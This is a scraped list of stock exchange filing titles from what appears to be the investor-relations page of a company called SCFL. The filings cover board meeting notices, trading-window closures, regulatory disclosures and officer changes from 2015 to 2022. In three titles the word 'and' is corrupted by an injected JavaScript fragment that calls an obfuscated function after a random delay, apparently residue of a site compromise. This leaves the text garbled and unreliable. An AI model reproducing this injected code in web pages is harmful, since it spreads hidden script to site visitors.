Browse:HomeStock Exchange Updates Stock Exchange Updates SCFL-Closure of Trading window-June2022 Postal Ballot Notice Revised Related Party Transactions Disclosures 31.03.2022 Contact details of KMP Appointment of CS Resignation of CS Related Party Disclosure for the Half Year Ended 31.03.2022 Annual Secretarial Compliance Report 31.03.2022 Closure of Trading Window 4th Quarter Notice of BM on 25.01.2022 Regulation 76 – 31.12.2021 Regulation 74 – 31.12.2021 Regulation 13 – 31.12.2021 Notice of Board Meeting on 01.11.2021 Closure of Trading Window 3rd Quarter Regulation 74 – 30.09.2021 Regulation 76 – 30.09.2021 Regulation 13 – 30.09.2021 10th AGM E-Voting Result and Scrutiniser’s Report Appointment of Directors in AGM AGM Proceedings 2021 Closure of Trading Window 2nd Quarter Newspaper Publication – AGM Post Despatch Book Closure Intimation for 10th AGM Notice of Board Meeting on 13.08.2021 Regulation 74(5) 30.06.2021 Regulation 13(3) 30.06.2021 Credit Rating Closure of Trading Window 1st Quarter 2021-22 Notice of Board Meeting on 09.06.2021 Large Corporate Entity-Declaration 31.03.2021 Regulation 74(5) 31.03.2021 Regulation 13(3) 31.03.2021 Regulation 7(3) 31.03.2021 Entire Sale of Investment in MPL Closure of Trading Window_March 2021 Intimation to Stock Exchange for revised List of KMP authorised under Regulation 30(5) Reg 30 – Resignation of CFO Outcome for Change in Directors Notice of Board Meeting 08.02.2021 Regulation 74(5)_31.12.2020 Regulation 13(3)_31.12.2020 Closure of Trading Window Intimation – Regulation 30 (Demise of Director) Related Party Disclosures – Regulation 23(9) – 30.09.2020 Notice of Board Meeting scheduled on 11.11.2020 Regulation 7(3)_30.09.2020 Regulation 74(5)_30.09.2020 Regulation 13(3)_30.09.2020 Closure of Trading Window_30.09.2020 Newspaper Publication Post Despatch Annual Report and Notice of AGM 2019-20 Large Corporate Entity-Declaration Book Closure Notice for 9th AGM Notice of Board Meeting scheduled on 11.08.2020 Regulation 74(5)_30.06.2020 Regulation 13(3)_30.06.2020 Disclosure of Material Impact of COVID-19 Related Party Disclosures – Regulation 23(9) Annual Secretarial Compliance Report 31.03.2020 Closure of Trading Window_30.06.2020 Intimation to Stock Exchange for revised List of KMP authorised under Regulation 30(5) Notice of Board Meeting scheduled on 25.06.2020 Regulation 7(3)_31.03.2020 Regulation 13(3)_31.03.2020 Regulation 74(5)_31.03.2020 Update on status of Plant operations due to COVID 19 Closure of Trading Window_31.03.2020 Temporary Suspension of operations due to COVID 19 Credit Rating Outcome of Board Meeting – Change in Director Notice of Board Meeting scheduled on 06.02.2020 Regulation 74(5) 31.12.2019 Regulation 13(3)-31.12.2019 Issue of Duplicate Share Certificate Closure of Trading Window 31.12.2019 Intimation to Stock Exchange for revised List of KMP authorised under Regulation 30(5) Resignation of Chief Executive Officer Related Party Disclosures – Regulation 23(9) Credit Rating Notice of Board Meeting scheduled on 05.11.2019 Regulation 13(3)-30.09.2019 Regulation 74(5) 30.09.2019 Regulation 7(3) 30.09.2019 Appoitment of Chief Financial Officer Closure of Trading Window 30.09.2019 Loss of Share Certificate 05.09.2019 Newspaper Publication Revised Book Closure Notice for 8th AGM Credit Rating Book Closure Notice for 8th AGM Notice of Board Meeting scheduled on 31.07.2019 Regulation74(5)30.06.2019 Regulation 13(3)-30.06.2019 Closure of Trading Window 30.06.2019 Annual Secretarial Compliance Report 31.03.2019 Related Party Disclosure – Regulation 23(9) Resignation of Chief Financial Officer Large Corporate Entity-Declaration Regulation 74(5) 30.04.2019 Notice of Board Meeting scheduled on 07.05.2019 Regulation 7(3)-31.03.2019 Regulation 13(3)-31.03.2019 Closure of Trading Window for 31.03.2019 Outcome of Circular Resolution Postal Ballot Notice and Form Notice of Board Meeting scheduled on 04.02.2019 Regulation13(3)-31.12.2018 Notice of Board Meeting scheduled on 12.11.2018 Regulation 7(3)-30.09.2018 Regulation13(3)-30.09.2018 Notice of Board Meeting scheduled on 26.07.2018 Regulation13(3)-30.06.2018 Notice of Board Meeting scheduled on 17.05.2018 Regulation 7(3)-31.03.2018 Regulation13(3)-31.03.2018 Notice of Board Meeting scheduled on 06.02.2018 Regulation 13(3)-31.12.2017 Notice of Board Meeting scheduled on 13.11.2017 Regulation 7(3) – 30.09.2017 Regulation 13(3) – 30.09.2017 Notice of Board Meeting scheduled on 03.08.2017 Regulation 13(3)-30.06.2017 Intimation to Stock Exchange regarding revised list of Authorized KMP to make Disclosure- Regulation 30(5) Outcome of Board Meeting regarding dispose of Investment in Associates and-CS.pdf”> Appointment of CFO andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and CS Notice of Board Meeting Schedule on 30.05.2017 Letter to SE Regulation 13 (3) – 31.03.2017 Regulation 7 (3) – 31.03.2017 Resignation of CS – Rachna Pareek Resignation of CFO – Sunil Kumar Jha Notice for Board Meeting Scheduled on 08.02.2017 Regulation 13 (3) – 31.12.2016 Intimation to Stock Exchange regarding revised list of Authorized KMP to make Disclosures – Regulation 30(5) Change in the Corporate Address of the Registrar andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Share Transfer Agents Notice of Board Meeting Scheduled on 03.11.2016 Regulation 7 (3) – 30.09.2016 Regulation 13 (3) – 30.09.2016 Notice for Board Meeting Scheduled on 01.08.2016 Regulation 13(3) – 30.06.2016 Change in Directors andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and KMPs Notice for Board Meeting scheduled on 03.05.2016 Regulation7(3)- 31.03.2016 Regulation 13(3)- 31.03.2016 Notice of Board Meeting scheduled on 09.02.2016 Regulation 13(3)- 31.12.2015 Intimation to Stock Exchange regarding KMPs authorised to make disclosures
